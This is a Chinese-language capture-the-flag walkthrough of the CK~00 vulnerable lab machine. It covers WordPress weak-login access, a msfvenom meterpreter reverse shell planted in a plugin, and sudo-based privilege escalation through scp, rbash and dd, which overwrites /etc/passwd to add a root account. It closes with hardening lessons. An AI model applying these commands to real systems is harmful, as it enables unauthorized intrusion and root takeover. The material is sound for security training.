本文為系列文章第四篇,難度為中級+,本篇難度主要在于linux提權,這里涉及了多種提權方法的思路,一步步研究加上些許變通,最終才拿下root。相信大家在看完前三篇之后,對信息收集應該有所理解了。
1、信息收集:
1)對目標進行端口掃描,探測開放的端口及應用,目標主機開放了22端口和80端口。
2)從80端口(web服務)入手,進行目錄掃描,發現首頁和wordpress網站,首頁為apache的默認頁面。先對wordpress進行了掃描,發現可用用戶admin,并進行暴力破解,未爆破成功,之后通過弱口令admin登錄成功。
3)Wordpress網站上傳木馬反彈shell,拿到主機第一個據點。
2、提權:
1)遍歷系統文件,找到wordpress配置文件,發現了數據庫賬戶密碼,進行賬戶切換,登錄到bla用戶。
2)通過bla用戶下scp的sudo操作,將攻擊機的ssh公鑰拷貝到靶機的bla1用戶目錄下,使用ssh登錄bla1用戶。
3)通過bla1用戶下rbash的sudo操作,提權至ck-00用戶。
4)通過ck-00用戶下dd的sudo操作,添加1個root權限賬戶并覆蓋/etc/passwd,從而提權至root權限。
靶機描述:
VulnerableVM to learn Basics of privilege escalation.
Goal: Your goal will be to get highest privileged user and collect theflag
Virtualbox is recommended for configuring CK~00 box
Feelfree to contact me at @CyberKnight00.
Thisworks better with VirtualBox rather than VMware
靶機地址
靶機ip:192.168.43.126
用到的知識點、工具和漏洞:
Nmap:一款開源的端口掃描器,用于端口掃描及服務識別
Dirbuster:一款目錄掃描器,kali中自帶,用于目錄探測
Wpscan:一款專門掃描wordpress站點的漏洞掃描器
Metasploit:集成了大量攻擊腳本的安全框架,并固化了利用流程,kali中自帶
Msfvenom:簡稱美少婦,用于生成木馬的工具,kali中自帶
wordpress插件反彈shell:wordpress是一款國外免費開源的博客軟件和內容管理系統
各種提權方法:scp拷貝ssh公鑰,dd添加root權限賬戶覆蓋/etc/passwd
主機探測:netdiscover-i eth0 -r 192.168.43.0/24
端口探測及服務識別:nmap-sS -sV -T5 -A 192.168.43.126
當前靶機開放了22和80端口,首先以80的web服務為突破口。
Ofcourse 先掃波目錄,這里使用的kali自帶的dirbuster
得嘞,又是一個wordpress站點。話不多說,wpscan伺候。
剛打開就是apache的默認頁面,之前都掠過這個頁面做目錄掃描,如今目錄掃描未掃出有用的目錄,這里就有兩個問題了,1.可能字典不夠強大,2.在首頁查詢有用的信息。于是去試了其他的目錄字典,還是沒有結果,回過頭再去認真看看首頁。
這里稍微提一下:有些同學可能發現站點沒有正常加載,這里可以在/etc/host文件中添加信息,即可正常訪問(一般可通過該方法解決)
一般碰見wordpress站點,有幾種思路可以去考慮。
wpscan枚舉用戶名,口令,進入后臺上傳shell
通過wpscan枚舉出相關插件,通過https://wpvulndb.com查詢對應插件版本所具有的漏洞,根據插件的遠程命令執行漏洞反彈shell
正好wpscan的結果也出來了,咱們先看一下
沒發現啥漏洞或者插件,倒是枚舉出了admin用戶,那么這里大概率要通過獲取口令來打開突破口,一種辦法使用通用字典爆破,另一種就是使用cewl收集網頁中出現的字符作為字典,再去爆破。這里我選擇第二種方式,因為之前有遇到過類似的靶機。
使用命令cewl
示例:cewhttp://192.168.43.126 -wpass.txt
然后使用wpscan進行爆破
wpscan--url http://192.168.43.126 -U admin -P pass.txt
沒發現可用密碼,正準備掏出字典進行爆破時,隨手去試了下admin:admin,它,竟然就進去了
想不到今天人品爆棚啊,進入后臺了,拿shell還不是soeasy啦,wordpress后臺拿shell有兩種辦法,一是添加主題處上傳shell,或者更改默認主題的php頁面上傳shell,二是添加插件處上傳shell,或者替換默認插件處的php文件上傳shell,兩種方法類似,隨便用哪一種。
準備用第一種辦法,在默認主題處上傳shell,發現更新不了。
于是到插件模塊中上傳shell
發現也無法更新,這里后面多次嘗試,發現已啟用的插件是更新不了的,未啟用的插件是可以進行更新的,于是在未啟用的插件里的php文件中寫入我們的shell,這個shell使用msfvenom生成
msfvenom -p php/meterpreter/reverse_tcplhost=192.168.43.140 lport=4444 -o shell.php
寫入我們的shell,這里注意下面標紅處,待會找文件路徑會用到,該處為插件名稱
下面咱們訪問http://ck/wp-content/plugins/smPYlYvIeE/找到shell文件
然后kali準備反彈shell
訪問shell文件,拿到shell
拿到shell第1件事就是獲取一個標準shell,可通過以下命令獲取(ps:python,python3都試一下,有些系統只裝了其中1種)
python3-c import pty; pty.spawn("/bin/bash")
下面需要進行提權,因為剛得到的shell權限較低,得想辦法獲取高權限賬戶,最終獲取root權限。
cat /etc/passwd查看一下系統存在的用戶
這里發現有三個用戶,但是到這里咱們前面沒有拿到有關的信息,現在只能繼續信息收集。
先去/home目錄下看看,拿到了第一個flag
目前也就先拿個flag慰藉一下自己,由于前期沒有相關有用的信息可供提權,在拿到第1個用戶權限前,完全是在抓瞎,老老實實翻看各個文件目錄。后面去查看wordpress的配置文件找到了mysql的密碼
看密碼也許是某個用戶的密碼,然后嘗試切換,成功切換到bla用戶。
為了方便后續操作,這里選擇使用ssh遠程上去進行下一步行動
最后就是如何獲取root權限,有以下幾個思路
sudo -l 查詢具有sudo權限命令,然后提權
SUID提權,find / -perm -u=s -type f 2>/dev/null
通過在/etc/passwd添加一個root權限的賬戶進行提權
find / -writable -type f 2>/dev/null 查找可利用的可寫文件
內核提權
其他
這里使用sudo-l 查詢有哪些sudo權限命令
看來這里需要通過scp進行提權,scp可以從遠程服務器拷貝文件到本地服務器,也可以拷貝本地文件到遠程服務器。scp用法具體可參考scp用法。
那么這里就有1個思路了,通過scp將kali的ssh公鑰拷貝到bla1的用戶目錄下,之后即可進行SSH免密碼登錄從而達到提權的效果,至于ssh密鑰如何生成以及如何使用密鑰免密碼登錄,請參考SSH密鑰免密碼登錄。
我這里在kali上生成了密鑰,下面標紅處為公鑰
所以這里可使用以下命令來將kali公鑰拷貝到bla1用戶目錄下
sudo-u bla1 scp root@192.168.43.140:/root/.ssh/id_rsa.pub
/home/bla1/.ssh/authorized_keys
拷貝成功,注意kali需開啟ssh服務,關于kali的ssh配置可在百度上搜索相關教程。
下面就是ssh免密碼登錄bla1賬戶了
Bingo!,繼續sudo-l進行查詢
這里使用rbash提權,網上查詢資料,rbash是一個受限的shell環境,具體提權,這里只需使用下述命令即可
sudo-u ck-00 rbash
拿到了ck-00賬戶權限,由于使用rbash提權上來的,現在的shell環境是受限。
可以發現很多命令無法使用,下面截圖展示
還是先sudo-l 查詢下
這里需使用dd提權,具體提權方法也不太清楚,還是推薦之前的1個網站
各種提權命令集合。不過該網站最近訪問有時訪問不了,可能是網絡原因。我這里把提權方法給復制下來了
Sudo
Itruns in privileged context and may be used to access the file system,escalate or maintain access with elevated privileges if enabled onsudo.
使用下面命令可提權
LFILE=file_to_write
echo"data" | sudo -E dd of=$LFILE
剛才導致的錯誤是由于sudo的-E參數造成的,這里只需去掉-E參數即可。
好像也沒有提權成功呀,查看了下當前目錄
發現在當前目錄下生成了file_to_write,里面內容為data。我立馬領悟了,這里可以通過該命令在任意文件中寫入內容。那么提權路子就來了。
咱們可以在/etc/passwd文件中添加1個root權限賬戶,從而來提權。于是立馬就開干。這里有個小坑,大家要注意,我先給填上,后面我再來講述。
這里咱們先查詢一下/etc/passwd
把里面所有內容復制下來,再在后面添加一個用戶,用戶密碼由使用以下命令生成
LFILE=/etc/passwd
echo"root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:MailingList Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:GnatsBug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemdNetwork Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemdResolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
ck-00:x:1000:1000:CyberKnight:/home/ck:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:115:MySQLServer,,,:/nonexistent:/bin/false
bla1:x:1001:1001:Bla1,01,0000,0001:/home/bla1:/bin/bash
bla:x:1002:1002:bla,0000,0000,0000:/home/bla:/bin/bash
dawn:FipxP14Sy8yNc:0:0:root:/root:/bin/bash"(ps填坑:這里先輸入這個,然后手動輸入后面的命令,不然會報錯,稍有不慎更會損壞/etc/passwd文件,那就GG,執行這步前可以先備份)
"| sudo dd of=$LFILE
執行成功,咱們再來看看/etc/passwd內容
已經添加用戶dawn,咱們來切換一下
拿到root,剩下讀取最后的flag
一定要注意弱口令
口令共用問題,對于數據庫賬戶與系統賬戶應設置不同的密碼
Sudo權限需要合規配置
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/130057.html
摘要:本文將分享軟件基本用法及文件進程注冊表查看,這是一款微軟推薦的系統監視工具,功能非常強大可用來檢測惡意軟件。可以幫助使用者對系統中的任何文件注冊表操作進行監視和記錄,通過注冊表和文件讀寫的變化,有效幫助診斷系統故障或發現惡意軟件病毒及木馬。 ...
閱讀 1346·2023-01-11 13:20
閱讀 1684·2023-01-11 13:20
閱讀 1132·2023-01-11 13:20
閱讀 1858·2023-01-11 13:20
閱讀 4100·2023-01-11 13:20
閱讀 2704·2023-01-11 13:20
閱讀 1385·2023-01-11 13:20
閱讀 3597·2023-01-11 13:20